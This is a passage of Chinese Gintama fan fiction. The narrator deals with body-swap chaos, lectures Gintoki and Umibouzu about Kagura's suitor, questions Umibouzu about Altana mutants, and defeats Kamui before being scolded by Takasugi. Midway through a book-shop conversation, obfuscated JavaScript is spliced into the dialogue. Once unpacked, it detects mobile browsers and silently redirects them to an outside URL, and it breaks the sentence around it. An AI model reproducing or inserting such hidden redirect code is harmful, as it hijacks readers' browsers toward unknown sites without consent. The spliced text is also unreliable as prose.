桂一本正经地自称小总,伊丽莎白舍弃了白板气急败坏地怒骂着神乐和冲田,而冲田举着白板代替语言,近藤跟土方黏黏糊糊的当众捏X头…… 大家都好恐怖,好像……乱了灵魂一般。而且,为什么他们的目标是那只怪物? “阿萤~”神乐眼尖,一下子就看到了我,顾不得跟伊丽莎白吵架,飞快地朝我扑了过来。 “神乐?怎么了?”我接住她抱着,摸了摸她的头。 “啊!不要用别人的身体去占女孩子的便宜啊鲁,假发你个死变态!”伊丽莎白气得跺脚,上来就要拉开我和神乐。 神乐阴险地笑着,拍开伊丽莎白的手,嘚瑟地抱着我的腰,头埋在我胸口蹭了蹭,“说什么话呢,我们现在都是女孩子,你和桂这种恐怖分子才是不要接近我们。” “不是桂,是小总!”桂抱着手淡淡地回了句。 伊丽莎白气得头上都冒烟了,“谁是恐怖分子啊?不要随便把之前自己犯的罪丢给别人啊鲁!” 神乐丝毫不管它,拉着我的手转圈圈,“哟西,阿萤,我们就这样以良民的身份继续攘夷大业吧~” 【我们三把日子过好比什么都重要】冲田总悟举着牌子加入我们转圈圈的阵营。 “烦死了你们!”土方十四郎忍无可忍地一脚踢过来,把我们的圈圈打散。 我被转得脑子发懵,拉起神乐,凑上去端详着,“你……是假发?” 但这外表,这打扮,明明都是神乐啊。就是这眼神,这表情,确实是桂。 “不是假发,是神桂!”神乐叉着腰哈哈大笑,“夜兔的身体一定能很快夺取江户的黎明。” “啊哈,不用那么麻烦,你现在完全可以去把那个单纯的将军大人撩到手,然后就以将军夫人的名义挟天子以令诸侯,统领整个江户。” 太混乱了,我下意识地随着她的想法走,随口提了个建议。 “好主意!”神乐眼神一亮,“不愧是一个人就能颠覆江户的王牌!” 【这才是王牌的效率!】冲田总悟举牌子附和。 “喂!你们这两个恐怖分子给老子注意一点啊!”土方十四郎和银时一人一拳揍在我和神乐的头上,气得抓狂。 新八和近藤两个看不下去,怒吼道,“你们才应该给我们注意一点!那只猫要逃走了!” 猫? 我往那边一看,他们正在抱着之前阿妙家看到过的那只下面打了马赛克,眼球掉了一只的白色怪物。神乐等人看到后,连忙赶过去帮忙。 那怪物很快就要挣脱他们的束缚,暴怒着跳起。 “那是……”我愣愣地端详着那只终于看清样貌的怪物,莫名地觉得熟悉,“银时?” “what?”土方十四郎顿时怒了,抓着我的脖子就是一阵摇晃,“你认不出我,反而认出这个东西?在你眼里阿银到底是什么鬼啊?” 认不出他?我被摇得脑门发疼,对上那双没精神的三白眼,一阵熟悉感扑面而来,“你……不对,那个很明显啊。” 我指着那只怪物猫。 “哪里明显啊?”土方看起来要崩溃了,是那种想杀了我的那种崩溃。 “阿萤,这是银时的一半灵魂注入了猫的□□,我们要把它的灵魂夺回来,才能让我们leader回归。”神乐朝我道,“快来帮忙!” 夺回来?灵魂注入了哪里来着?咋这么抽象? 还没反应过来,那只怪物已经甩开他们,朝我冲了过来。 “阿萤(姐),危险——” 我看着那头凶猛的怪物,忽然伸出手,像逗猫般哄道,“嘬嘬嘬……” “危急关头你在逗什么猫啊白痴——” 那只怪物猛地停在我面前,默了一下,然后缓缓跪坐在地上,弯下腰把它的头送到我手心。 土方+银时:…… “好乖……”我摸了摸它的头,轻声哄道,“对不起呢,小猫咪,但……可以把灵魂还给我们吗?因为,大家,包括你重视的阿妙……好像都缺不了这个leader呢。” 它没有说话,蓦地,一个蓝色透明的东西从它口中吐了出来。 “我靠,这都可以?”银时+土方,惊骇到无语脸。 仿佛被吓到了一样,那东西又被它吞了回去。然后,它忽然弓起身子,无尽的马赛克噗的一下从□□里喷洒而出。 “啊——”在它后面的全体尖叫。 猛地蹦起来,我转身就要跑。领子一紧,后面传来土方十四郎阴恻恻的声音。 “月见萤你个混蛋,这样的都能认出来,所以刚刚拿刀砍阿银是故意的吧?亏老子还忍着不下狠手……昂?从实招来,你想要干掉老子不是一天两天的事了吧?” “怎么可能?”我脚都碰不到地了,连忙反驳,“我是一时间被你和土方桑的关系冲击了,没想到你们居然玩这种禁忌之恋……” “谁跟他啊!”土方怒指着银时,“你脑子里装的到底是什么垃圾啊!” “这句话是我要说的好吧!”银时不忿地拍开他的手。 好混乱啊,像银时的土方和像土方的银时,我头疼地揉了揉额,遗憾地道,“唉,还想着你终于可以迎来恋爱的腐臭呢。” “惹一堆风流债的混蛋没资格说这话吧,要老子提醒你那些等着你洒钱抚慰的人妖有多少吗?”土方抬手把我晃了晃。 我刚想反驳,回头看了一眼,脸色大变地踹开他,死命往外跑去。 “怎么了?”后知后觉的土方和银时两人嘴角一抽,扭着脖子慢慢回头。 “啊——你个混呜噜噜……”咒骂声还没说完已经被马赛克淹没了。 还差一步就可以逃出仓库,双脚忽然被拉住。我骇然低头,被马赛克糊了一身的土方和银时一人一边抓着我的脚,朝我咧出极恶的诡笑。 “别想逃,就算是地狱也不会落下你的……” “身为武士和警察,你们就不能说些你先走我们来处理的场面话吗?” “我们现在先处理你啊混蛋……一起下地狱吧!” “放手啊——” 好可怕,这个马赛克的世界好可怕啊…… 全是便便的世界好可怕啊——yue…… 67.事前准备很重要 两个身穿正式礼服,身形壮大了不止两倍的男人一头一脸血都坐在沙发上,魂魄不齐的样子让人忍不住同情。 “事情就是这样了……”脸肿了一边的新八无奈地把事情说了一遍,正常的他坐在两人身边显得分外娇小。 “说实话我没听太清楚,不是说神乐只是交个男朋友而已嘛?而且这根本都算不上男朋友吧,才见了没几面,怎么忽然就说起结婚了?这个话题飞跃得太快了吧,结婚这种事不是要交往顺利并且很久才考虑的吗?现在连交往都没开始吧?”我视线从脸色极度难看的两人身上转向正常的新八。 “本来说只是给我们看看男朋友而已,但……银桑和星海坊主两个不知道为什么一直贬低神乐,让她生气了,所以就……” 我叹口气,默默地站了起来,一个跃起,拳头狠狠挥下! 嘭嘭的两下,两个巨型的大人被我干脆地砸进地板里。 “你们是白痴吗?什么出色的大人,简直就是出色的笨蛋才对!” 好不容易等到了星海坊主来地球,还打算好好问一下阿尔塔纳的事,结果因为神乐交了男朋友的事他整个人都癫狂了,连带着把那个笨蛋天然卷也带癫狂了。冲着这两人不稳定的状态,我只能先帮他们处理神乐的事。 “阿萤姐,别这样,他们已经很努力了……只是……”新八吓了一大跳,连忙劝阻道。 “努力个毛线啊!小神乐才多大,还没成年啊,连牵手都还早的年纪交什么男朋友啊?作为父亲和社长,你们居然不好好引导,反而在对方面前贬低她,让她把交往变成结婚意向?开什么玩笑啊?” 我怒极地一脚踩在那两个头颅上,碾了碾。 “少啰嗦!”一头血的银时蹦起来,眼角欲裂地反驳,“14岁就date的混蛋没资格说这个啊!阿银找你是要问怎么哄神乐,不是找打的!” “什么?现在的女孩子都是14岁就开始date的吗?爸爸,爸爸我绝对不允许啊——”神晃抓着他为数不多的头发崩溃道。 我呵呵一笑,一脚把他们坐着的沙发踢翻,两人应声翻转砸进后面的地板里。 新八被我的暴力举动吓得双手塞进口里才吞下尖叫,我抽空给他一个安抚的笑容,他无声地退后了两步。 “我14岁的date是去图书馆复习,而且,我老爸提前就把对方的家庭背景和习俗,性格等情况全部了解清楚,甚至当时就坐在我们身后的那张凳子上一路旁观……”掰了掰手指,我咧出血腥的笑容高居临下地俯视他们,“说吧,你们做到哪一样了?” 真是让人头疼,14岁的小女孩,连恋爱是什么,男朋友跟朋友的分别是什么都没搞清楚,怎么可以让她直接了解结婚?光会着急却什么也不敢做的大人,算什么出色的大人啊? 两个强悍的男人埋在地板里头,一言不发。 这两人对神乐的爱和紧张毋庸置疑,只是不管是爸爸也好,哥哥也罢,甚至社长也一样,男人对少女的心情天生就不能完全理解。尤其是神乐本身就是个未开窍的小女孩,比起他们重视自己的朋友,她更需要他们重视自己,理解和引导自己。 这种纠结的少女情怀,大概也只有过来人才能理解。 “孩子大了会有自己的世界,但是……无论怎样她还是你们的掌中宝,不放心是理所当然的啊。当她还没能独自面对的时候,作为大人,不,作为家人,不是要好好地帮助她吗?现在不是哄不哄的问题,神乐对大家的爱的感知绝对在你们这些笨蛋之上,才不会因为你们贬低她而乱来。你们啊……先把她朋友的事情弄清楚,再好好考虑怎么帮她养成健康的海洋……啊不,是朋友圈。” 我一手一个头颅抓起来,笑着训道,“加油吧,别人的父亲大人,现在的你们还差得远呢~不过,是男人就不要认输,上吧~” 两个反应过来的男人慢慢地爬了起来,不约而同地往外跑去。新八看了看我,一个鞠躬后追了出去。 下楼到酒馆里,看到小玉和凯瑟琳正在补天花的洞,我坐在一边问淡定抽烟的登势。 “婆婆,他们没问题吧?我查了一下那个巨人星的习俗,感觉不太妙。” 巨人星的王族繁殖标准是独占新娘的基因,确定新娘后会毁灭新娘的星球和同类。我看到的时候也有点无语,这么霸道的习俗,难怪他们人不多。而且他们脑子也不好,神乐是夜兔,跟毁灭地球和人类有什么关系呢? 幕府让这样的天人到地球找新娘,真的是心大啊……早晚得完。 “怎么不太妙?”登势老神在在地喷了口烟,给我斟了杯酒。 我扬眉咧开坏笑,“当然是,怕巨人星的人在地球灭绝了~” 一个人都能灭掉一个星球的星海坊主,还有那个打起来不管不顾的笨蛋武士,癫狂起来可不是区区巨人进击就能拦住的哦。 夜色如水,与前门街道的热闹不同,屋内的气氛多了几分凝重。 我端详着眼前的人,打扮还是那身服装,只是当年浓密得能编辫子的长发已经被秃头取代,看得我一阵心惊。 虽说岁月是杀猪刀,但……现在被生长女神抛弃的我,如果头发掉了……打了个寒颤,我决定仇视一切碰我头发的生物,尤其是最近不知道抽什么风对我的柔顺直发很有执念总是偷偷扯来玩的坂田银时! “就是你想要见我?月见小姐。”神晃正襟危坐,脸色严肃,“是那个特莱姆星人的关系吗?说起来,多年前曾答应过一个朋友要帮忙查,可惜这些年都没听闻过这个星球。” 那是因为根本就没有这个星球。我摇了摇头,“其实,我想见你,是想知道阿尔塔纳的变异体死因一般是什么?” 直球打得有点狠,神晃登时瞪大了眼,唰地站起来,脸色惊骇得仿佛马上就要抄过大伞开打,“你,你怎么会……是想要知道秃子的生发秘籍吗?不,我才不是秃子,我只是头发长得比较慢而已!作为一个有14岁青春期叛逆闺女的老父亲,这点子头发已经是奢望了!” “没人想要知道这个!” “我已经代言了这个牌子的生发剂,马上就会恢复旺盛的毛发,你有兴趣可以赠送一支给你哦。”他拿出印有他照片的生发剂,非常大方地递了过来。 “谢谢。”有便宜必须要占。我接了过来,笑眯眯地道,“但我要问的不是毛发,也不是你那跟OO差不多的脑袋哦~我想要知道的,是阿尔塔纳变异体的死因。” “啊,神乐大概在等爸爸吃饭了,今天我要做红豆饭给她庆祝一下,因为跟爸爸合照了。”神晃干巴巴地笑着,站起来就准备离开。 男人逃避现实的行为和借口都这样一致的吗?坂田银时受伤被训的时候也是这样左右顾而言他,哼,没用的男人! “我曾去过烙阳,见过江华。”我抱着手轻松地丢下炸弹。 此话一出,神晃脚步顿时停下,神情也多了几分慎重。 我决定利用一下他经常不在家的设定,翘着腿干脆地道,“后来听说她逝世了……明明她跟我说过她是阿尔塔纳的变异体,活了上千年不死的……” “什么?你认识我老婆?不可能,江华从来没说过她有朋友!”神晃惊讶过度,谨慎地数了数手指头,“而且,我老婆已经去世好多年了……那时候你才几岁来着?” “女人的友谊你别猜,反正我们就是认识了。她是因为离开徨安才会死的吗?你为什么不带她回去?”我搞不懂这其中的逻辑,手上所有资料都是关于阿尔塔纳的说明,却几乎没有片言只语提及变异体。 神晃脸色一暗,坐在沙发上握紧了拳头,沉默了许久。 我安静地等着,没去催促,却也没有放过这个机会。 好半响后,他才低着头道,“我老婆她确实是徨安的阿尔塔纳产生的变异体,只是……徨安本来就是被废弃的星球,那里的阿尔塔纳已经濒临消散,哪怕我在宇宙中不断寻找能让她延续生命的东西,还是……” “抱歉……”撕开他的伤口有点残忍,但我现在需要更多的信息,一些连高杉都不能查到的信息。 沉吟一下,我问道,“所以,阿尔塔纳的变异体一般都是不老不死,死亡的话就只能是星球本身消亡?” 神晃点点头。 我心下一沉,说不上失望。只是那这样的话,那要虚自己消亡是不可能了。 地球正处于旺盛的年代,要消亡若非有意外还要等几十万年吧。现在别说让他挂掉,不让他越来越强已经很好了。 神晃大概看我脸色不好,疑惑地问道,“月见,你的身体情况也很奇怪,总觉得你不像活人……你该不会是……不对,你不是阿尔塔纳,反而跟多年前我见过的一个男人很像。” 那个就是我……不太想提起那段过往,我换了个问题,“对了,你说一直在宇宙中寻找能让江华延续生命的东西,后来有找到吗?” “我在其他星球,找到阿尔塔纳的能量晶石。原本想着,这些可以替她……” “不太能吧,不同星球的能量不一定能match,就像柴油车加汽油会爆掉的……诶!”脑中灵光一闪,我摸着下巴,“这个办法不一定能续命,但可能灭掉这种阿尔塔纳诞生的人。” 如果真是如此,就算不能杀掉,应该也能重创一下。就跟喝酒一样,混酒的杀伤力比只喝一种酒大。 “什么?”神晃闻言唰地白了脸,双手惊慌地捂颊,“你意思是,我差点害死了我老婆?不,我绝对不承认!” “没人说这个!”虽然也有可能,但江华在那之前已经逝去了,不需要做没用的假设。 尽管如此,神晃好像还是被这个刺激到了,恍恍惚惚地走出我家大门。而我顾不上安慰,只是在猜测到底要怎样才能得到这些晶石。大概,只能像神晃一样去不同的星球上寻找。 这样耗费大量时间和人力,不太符合我现在的情况。 要做的事太多,能用的人却很少,我揉了揉发疼的额头。但,无所谓,高杉和辰马教的,利用一切可以利用的东西。 打开手机,我拔了个电话,“又子吗?帮忙跟神威说一下,我要挑战他,打一场吧。哦对了,记得跟我家晋晋保密哦。” 不理会又子石破天惊的尖叫,我打开电脑,开始联络泽木他们,安排后续的行程。 至于我为什么不直接找阿伏兔……因为不想要听教啊。 靠在书店的八卦杂志专栏边,我慢慢放下挡在面前的杂志,目送小猿和全藏陆续离开,才踢了踢蹲在隔壁翻看jump特刊仿佛进入忘我境界的人。 “疼啊混蛋。”银时记恨地抬手劈向我的小腿。 “痛啊白痴!”小腿骨一阵刺痛,我懊恼地还他一脚。 坂田银时随手挡下我的脚,抬头死鱼眼看过来,没好气地撇撇唇。 他脸上贴着胶布,拉链下的衣襟里缠着绷带,我揍的。 我左手手腕和和服下的小腿都缠了绷带,他打的。 别误会,我们不是吵架什么的引起家暴,是我秘密蒙面混进他们委托的对手阵营里,夜袭万事屋并且奋力跟他交手的结果。 “痛也是活该,谁让你没事敌我不分地朝我们出手?夜袭也就算了,谁TM让你重点放在袭击上?”银时想起昨晚的事脸色就黑成一片,如果没有书店老板在虎视眈眈,他一定要在这里再训我一顿。 首先,我有点不解,夜袭的重点不是袭吗? 其次,我不是真的敌我不分,只是想知道现在自己的实力如何而已。没想到颓废了十年的白夜叉认真起来还是宝刀未老……我自问没保留,他一开始的吊儿郎当被我逼出真火后也是狠打,要不是后来招式太熟被他认出来,彼此估计不止伤这么点。 我以杂志遮住半张脸,抽抽噎噎地道,“都说了是兼职乱入,你一点都不听我解释,自己认不出来还如此粗暴地对我……我身体和精神都受到打击……你不该好好安慰一下我吗?这些年我的信任都错付了吗?” “阿银的身体和精神也很受打击啊混蛋!话说回来,你最近又看什么狗血情感剧了吗?别随便入戏,还想再被揍一顿吗?”脸上蹦着十字路口的银时嫌弃地看过来,“换个频道吧,这种哀怨的角色没你份。” 苦情系不行么?好吧…… “哼,骗你的,就你那种攻击怎么可能伤到我?再练个百年吧,区区木刀而已,本小姐还不放在眼里,要今晚再战吗?把你那不堪一击的身体打碎哦~”我用力一甩头发,挑眉傲然笑指他。 “怎么,忽然就傲娇大小姐了吗?”银时眉头抽了抽,摇着手中的周刊,“够了……把你对阿银身体的企图收一收,能蹂躏阿银身体的只有结野主播啊。” “昨晚不是蹂躏过了吗?怎么,想要摩多摩多吗?”我不怀好意地戳了戳他脸上的胶布。 不是我想说,他的身体日常就经常被蹂躏了好吧,OO和菊花尤为严重,真不负他彪悍体质。 毫不悔改的态度让他很不爽,银时一手扯着我的辫子,一手还拿着他的jump周刊,恶声恶气的,“赶紧的,给老子正常点。” 拍开他抓着我宝贝头发的手,今天我梳的是双辫子,散了要重新编的。 虽然被骂,但我对自己现在的水平也有了点认知,对上神威大概难赢,得找个外援,用刀是不太行,倒是其他武器可以考虑。 “别发呆了,谁让你上网乱抢我们万事屋的生意?脑子哪根没用的神经又抽了吗?你啊,平时让你帮点忙都拖拖拉拉的,打架还划水,怎么忽然那么积极?摸鱼大王转型肯定没好事,说吧,又惹什么事了?早前忽然说要跟辰马合伙什么的……你们两个混蛋别给阿银惹什么祸啊!” 银时挖了挖鼻孔,视线从jump移到我身上,那目光让我不敢直视。 “昨晚已是过去了,男人活着就应该往前看,别老翻旧账,你以为自己是菜市场斤斤计较昨天老板少送了一把葱的家庭主妇吗?” 我没有回答这个有点心虚的问题,扬了扬手中的杂志,“银时,这期有个有趣的问题,如果我们被关在一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322847|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间,要杀对方100次才能出去,你会怎么办?经过昨晚,我大概是杀不了你,那你来杀我100次?” 银时挖鼻孔的手一顿,死鱼眼再次睨过来,丝毫不掩饰鄙视,“哪个脑子比你和假发还要残的家伙会做出这种房间?啊不对,问这个问题的人得有至少十年脑栓了吧,无限流这种主题终于从自己死上百遍转为杀别人百遍了吗?” “现在很流行这个问题哦,所以你的答案呢?杀我?”我挺好奇他的选择。 银时没好气地伸手揍过来,我机警地躲开那只刚挖过鼻的手。 他的声线温厚,语调慵懒得有种随意的散漫,“白痴,要是倒霉被关在那种地方,咱们就认了吧,别折腾了,在哪不是躺呢,也许睡个觉就出来了。话说回来,里面包餐吗?能叫外卖的吧?” 好消极又很有他特色的答案,我失笑,“你审题啊,要杀100次就说明可以复活,反正我也打不过你……” “说你脑子不行又要给老子蠢到底吗?”银时挑眉,手臂一伸箍过我脖子,把我拉过去恨铁不成钢地拿jump周刊敲我的头,“清醒一点,万一这些设定不过是骗人的,杀一次就死掉了怎么办?就这么傻乎乎地别人说什么就做什么,阿银我可不记得什么时候把你养成这么听话的人啊。” 下巴搁在我发顶用力碾了碾,他拿过我手中的杂志,嫌弃地翻了两页,“还规则说明?我们什么时候守过规则?要是被关了,当然是合作把该不该砍的都砍了,自己造一条出路啊。这世上还没有什么房间是打不开的,不去努力就认命遵循这种脑残规则,你要是真这样想那被阿银杀上百遍也是活该了。” 好像也有点道理,是啊……谁说规定就是对的?命运就该遵从? 我眸底亮了起来,笑着抬头凑到他面前,“哎~其实银时你就是想说你绝对舍不得杀我对吧~” 昨晚觉察是我后,他那攻势顿时就变了样,杀气十足的木刀改成了气急败坏的拳头。虽然对我来说杀伤力都差不多,但这意义还是差很远的。 傲娇鬼对敌人和对自己人的本质区别。 “谁,谁TM舍不得啊!”银时气息一窒,随即炸毛般收紧手臂,“给老子抓重点!你就算再弱鸡,也没那么容易杀,还百次,你是昨晚打不赢现在想要累死阿银好继承万事屋吗?” “放手,要窒息了!啧,傲娇没前途哦~”挣开他的紧箍,他像是被踩到尾巴的炸毛猫的样子让我发笑。 “傲娇你妹,是懒得动而已。真是的,整天看这种白痴杂志,你脑子才会跟假发一样崩坏的。那么想杀的话,你自己动手啊,就你这水平阿银就是站着不动你也杀不了。”银时眼珠子瞥了过来,毫无诚意地撇撇唇。 哎,那装模作样的样子别扭得跟他小时候想要糖果又不想丢脸求人装不在意一个样。 “是么,所以结果都一样,你不会杀我,但我要杀你的话就站着不动吗?别担心,我也舍不得杀你啊~”我总结了一下,笑眯眯地看着他。 银时挠发的手一顿,瞥了我一眼,忽然叹口气,“你这重点也不知道怎么抓的……就你这样的性子这次还真不适合混进来……” “混进什么?”他声音太低我听不清。 他蓦地别过头,翻了两页jump周刊,“啊啊,为什么最近又上这种跟大便一样的新番,不好好写故事的话就是粪作,就算做成擦边卖肉番也不过是骗骗那些宅男而已,再这样下去jump就要完了。” “只要有你这种死忠粉的话怎么也不会完的。” 没理会他突如其来的胡扯,我笑着道,“呐,银时,我要去宇宙玩耍。” “诶?” “那么惊讶干嘛,之前陆奥来找辰马的时候不是邀请我跟快援队一起去宇宙走走么?吃饭的时候你不也在一边说有免费船票别浪费什么的吗?”我放好杂志,随意地道。 银时眨眨豆子眼,他的记忆力果然不怎样了。 “你真要跟辰马那个白痴去玩?那只会让你的脑子更加快地坏掉哦。”他看着jump的封面好一会,还是忍不住伸手拿起来。 我似乎应该为合作伙伴声讨一下,但一时间也不好否认那个刚被一袋石子骗了还差点被下属卖掉的男人是个白痴的事实。 银时拿着jump一脸肉疼地准备结账,表情皱得就像是老婆出了轨但肚子里的孩子还是自己的没办法不要的倒霉男人。 “你就是老说我们脑子不好也不会对我们有影响,只会给自己洗脑忽略我们的厉害而已。再说,不是让我找点正事干么,我去宇宙发展发展,顺便替万事屋开拓疆土~”我想了想,拉住他的衣袖,“当然,你想要我留下来帮忙的话,我也可以哦~” 刚才全藏和小猿的话我没怎么认真听,好像是关于那位将军大人的安危。老实说,我对这个将军的印象还不错,之前他失忆的时候跟桂玩得也挺好的,是个大智若愚的儒将。可惜,他的抱负与地位的尴尬,注定了不太可能成为开创新时代的人。 虽然我不太在意那位的死活,但万事屋好像跟他还挺熟,这次说不定又会混进这些事情里。 银时脚步一顿,默了一下,慢慢地挖着鼻孔转头,没精打采地瞥我一眼,“你以为是运动会家长团吗?还要一家大小齐齐上阵围观?昨晚才差点搞砸我们的委托,最近我们估计都接不到什么像样的业务了,你就去跟辰马去浪吧,阿银会让陆奥看着你们别乱搞的了,那一船的人都比你们靠谱。” 我微愣,笑着放开他,“什么啊,反正我怎么做,你都不会生气,不是吗~” “别给老子提这种事啊!那是不会吗?是不能!”想起什么般,银时满脸不爽,“总有一天,老子会把那份契约赢回来!” 就凭他那赌运?我哈了一声,不想说因为他霉得太出名我都不好意思去这边的赌场玩。 “银时,请吃火锅吧,就当为我践行~”心情莫名地好,我没拍开他揪着我辫子的手,就着他双手有事忙的瞬间顺手从他怀里窃过他的钱包,示威般摇了摇。 银时表情一垮,手忙脚乱地往怀里翻了翻。 “啊!把阿银钱包还回来你个小偷!不对,你什么时候学会这招的?”一脸阴郁的银时快步追上来,抓着我的双辫子乱扯。 “什么啊,就这点钱……果然还是得我请。”我瞧不上地把钱包随手丢回去,大方地道。 这家伙昨晚才赚了一票大的,钱包居然只有一张钞票,太抠门了。 闻言,银时双眸顿时一亮,哪还记得刚才想揍我? 双手狗腿地给我揉揉肩膀,他志得意满地扬眉,“这可是你自投罗网的啊,居然敢挑战我们这些火锅将军……肉已经打算按吨买吗?不然阿银怕你连肉沫都抢不到哦~到时候哭鼻子也不会给你一块的。” 看他嘚瑟的样子,我咧出跟他差不多的坏笑,决定不告诉他我预定的是变态红油麻辣汤底。呵呵,肉沫也抢不到?坂田银时他那饱受摧残的菊花受得住么? 昨晚输掉的怨气,今晚我在火锅上一定要赢回来! 68.要突进的月见萤 跟神威的比武安排在非常空旷的森林里头,看到那边笑眯眯的橘发小哥,我心里还是有点忐忑的。 我本身就不是武力至上的好战派,就算是找死的那段时间也没想过找人来打死我。只是现在,我不得不尽全力去战斗,因为我需要拿走他手中的东西。 来之前我认真研究过,夜兔是力量型的战斗民族,自愈能力也强,要赢他,除了能压制他的力量,还能找机会重创他。 那些年跟夜王探讨过的技巧,没想到在今天派上用场。 “啊哈哈,今天重启键小姐的眼神很不错哦~真希望你的实力能有你眼神的一半狠~”神威毫不掩饰眼底的杀意,笑眯眯地偏头。 “哎,同样的话,我就懒得重复了,你知道我意思就行,小兔子~”输人不输阵,撂狠话这种事谁不会干? “先说好哦,不要太快让我再见到那老头的脸,不然……我会再把你杀上百次呐。”把手中的巨伞扬起,神威轻俯身,语调悠闲得跟那身气势截然不同。 我回以同样的笑容,眉眼弯然的样子跟他几乎一样,“逝去的人你就让他安息吧,这辈子你都没机会再见了。不过,你要是想他了,我可以送你去见他哦~” “啊哈哈,很期待呢~” 蓦地,我们身形同时爆闪。 紫色巨伞夹带雷霆气势袭来,我凝神跃起,手中的激光剑毫不犹豫地砍过去。理所当然被挡下,我沉下心神,极快地穿梭在他密集的攻击中,避开他沉重的攻击。 我很清楚,我最大的问题是人类身体,不抗揍,血槽短,所以力量型较量必须速战速决,除非…… 瞄准了他的破绽,我狠狠地以激光剑挡下攻击,伞顶被我砍去半截,然而那把破损的伞依然狠狠砸在我肩膀。 哪怕顺势往后倒,肩膀依然飞溅出鲜红。我轻眯眼,忽然松开一手擒拿着他的手腕,以正常人难以做到的角度灵活地翻飞。 巨伞砸在地上,激光剑应声跌出我手,咕噜一下他的手腕以诡异的角度扭曲。我飞踢过去,把他狠砸在对面的山石里头。 哗啦的巨响,那抹身影须臾间去而复返,疾速而来,拳头擦身而过的瞬间,我双手拉着他的拳头,借力随之飞舞跃后,以四两拨千斤之力翻转他的手臂。 那双诧异的蓝眸扫过我,神威全然不顾手臂的卷曲,飞踢猛地袭来。极快地抓着他的脚腕,我顺着力度一扔,直接把他甩进丛林之间,烟尘滚滚中只有树木不断倒下的影子。 太极,是我最擅长的武术。但因为它基本只用在近身战,来到这个世界后打架基本靠刀砍,没怎么用上。只有在成为云锣那个时候,我曾用来对付过夜兔,甚至是夜王凤仙。说来感激他,是他让我针对夜兔的特点强化过,也感谢阿伏兔,他作为陪练不断加深了这些技巧对夜兔的克制。 后续的打斗不出我所料,神威越发杀意盎然,力度越发猛烈,而我凭着这种借力打力的招式化解了他的攻击,勉强跟上他的速度。 跟他的比武持续了近两小时,最后他败在我手下,啊不,是枪下。 高居临下地俯视着浑身不能动弹的神威,我笑眯眯地握着枪敲了敲他的头,“别瞪了,陪你玩了这么久才开枪,我够诚意了。” 这小子是真的强,愣是耗了我那么久才露出致命破绽,差点清空我的血槽。当然,也是因为我舍弃了武器,跟他赤手空拳玩那么久。 神威抬起满是血的脸,四肢扭曲的程度有点可笑,关节都被我扭过了,如今那双眸子里头全是杀意与笑意,“这不算……我还能再打。” “先站起来再说吧。”我借着擦身而过打出的子弹可是能让一个茶吉尼顶尖杀手昏迷十天的量,而且辰马针对夜兔的体质改进过。 这一次,我所有的外挂都用在对付神威上,他不倒下就对不起那些人了。 望进那双不服气又愤恨的眸子,我冷冷地道,“神威,真正强大的人是不会拘泥于任何武器。就你倒下到现在手脚恢复的时间里,够我杀你百次了。输了就是输了,你还不够强大!再来多少次都一样,现在的你……无法打败我。” 这话有点过而且是占了武器的便宜,但……不这样无法让神威答应我的条件。另一点就是,对于神威来说,今天算得上耻辱,他是真的没料到我会借助新型武器赢他。不过,赢就是赢了,他会认下来的,只是后面估计甩不掉他。 神威眼神骤然迸发剧烈的杀气,整个人扑过来,我没闪开,只是偏过头躲过他的拳头,同时一柄长刀狠狠刺进他的手臂,鲜血四溅,点点落在我脸上。 他眼中倒影的,那柄长刀映照的,是我毫无杀意的淡薄双眼,还有高杉杀气十足的狠虐面容。 “对不起我错了!” 情景转换,我猛虎落地跪坐在高杉对面,非常没有底气地求饶。方才对着神威有多高傲,现在对着高杉就有多卑微。 带血的长刀半截插进地里,高杉曲腿坐在树桩上,冷虐的神色丝毫不掩刀人的欲望,紧锁着我的独眸瞳孔微缩,流转着狠戾。此刻的他十分可怕,而他坐着的那个树桩,就是刚刚被他一刀砍掉的那颗大树的。 当时那刀刃就离我一丢丢距离而已,我都怕死了他顺手砍过来。事业才刚起步,我可不能出师未捷身先那啥。 “昂?错哪了?”高杉脚下狠狠碾了碾落叶,轻描淡写般问道。 他一定气疯了,居然问我妈才会问的那种丧命题……他不知道这个问题有个标准答案吗? 我看着那片被他碾得支离破碎的落叶,噎了噎口水,“哪都错了……” 果然,他气息明显一窒。 “哼,很行嘛……把夜兔的团长放倒了,攘夷时期也不见你这样拼。怎么,生死线上摸鱼……跟夜兔打倒是尽全力了?”脚背都蹦出十字路口,高杉语调诡异。 我错愕地瞪大了眼。 冤枉啊,我真的没有很摸鱼,只有他们在的时候我才松懈一些,在战场我即使在后方也是很认真杀敌的好么……谁特么会在战场上摸鱼啊!又不是活腻了。 无奈他的样子不像是想要我反驳,轻咳两下,我垂头对了对手指,口吻谦虚得很,“也就还好啦,毕竟有凤仙帮忙分析过,而且以前都是用刀,不太喜欢近身战。这次也是辰马帮忙弄的武器够厉害……” 其实还有胧这个外挂帮忙拆解了一下攻击动作……这种技巧buff叠加后几乎是夜兔专用了,我也没想到效果能这么好。神威真的输得不冤枉,刚才他发狠的时候我又补了一枪才让他乖乖被阿伏兔带走……希望阿伏兔能活着安抚好他。 “老子TM是在夸你么?”他的语气更冷了,瞪我的眼神既嫌弃又凶狠。 好像不是……都爆粗了…… 我赶紧收敛心神,神色一凛,正经脸看他,态度非常配合的好,双眼圆睁准备听他训话。 “什么时候鬼兵队的人听你的话让你找死了?昂?还是你找死的游戏没玩够?”冷笑一声,高杉脸色阴沉得仿佛能滴出雨水来。 瞬间又心虚地低头,我暗暗祈祷又子还平安…… 要是高杉知道我是用他攘夷时期的帅照和小时候的蠢事来贿赂又子……大概我们都不能平安活过今天。 “跟又子无关,是我威胁她的……因为晋晋你知道了根本不会同意,而且就算答应也会旁观。但那不行,你在的话,我会松懈。” 从攘夷时期起养成的坏习惯,他们在的话,我会下意识地放松。因为有安全感,知道他们一定会保护我,脑子就会想其他的,无法纯粹地战斗。所以他们才会总是忽略我的实力,战场上我才坚持跟着辰马,而辰马才会说我离开他们会更强。 高杉脸色一片冷厉,浑身散发的气势冷傲又别扭。 